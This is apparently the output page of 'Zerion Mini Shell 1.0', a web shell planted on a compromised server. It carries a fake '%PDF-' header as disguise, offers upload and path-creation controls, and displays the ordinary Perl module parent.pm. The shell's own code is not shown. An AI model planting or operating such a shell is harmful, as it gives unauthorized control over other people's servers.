%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/x86_64-linux-gnu/perl-base/
Upload File :
Create Path :
Current File : //usr/lib/x86_64-linux-gnu/perl-base/parent.pm

package parent;
use strict;

our $VERSION = '0.241';

sub import {
    my $class = shift;

    my $inheritor = caller(0);

    if ( @_ and $_[0] eq '-norequire' ) {
        shift @_;
    } else {
        for ( my @filename = @_ ) {
            s{::|'}{/}g;
            require "$_.pm"; # dies if the file is not found
        }
    }

    {
        no strict 'refs';
        push @{"$inheritor\::ISA"}, @_; # dies if a loop is detected
    };
};

1;

__END__

Zerion Mini Shell 1.0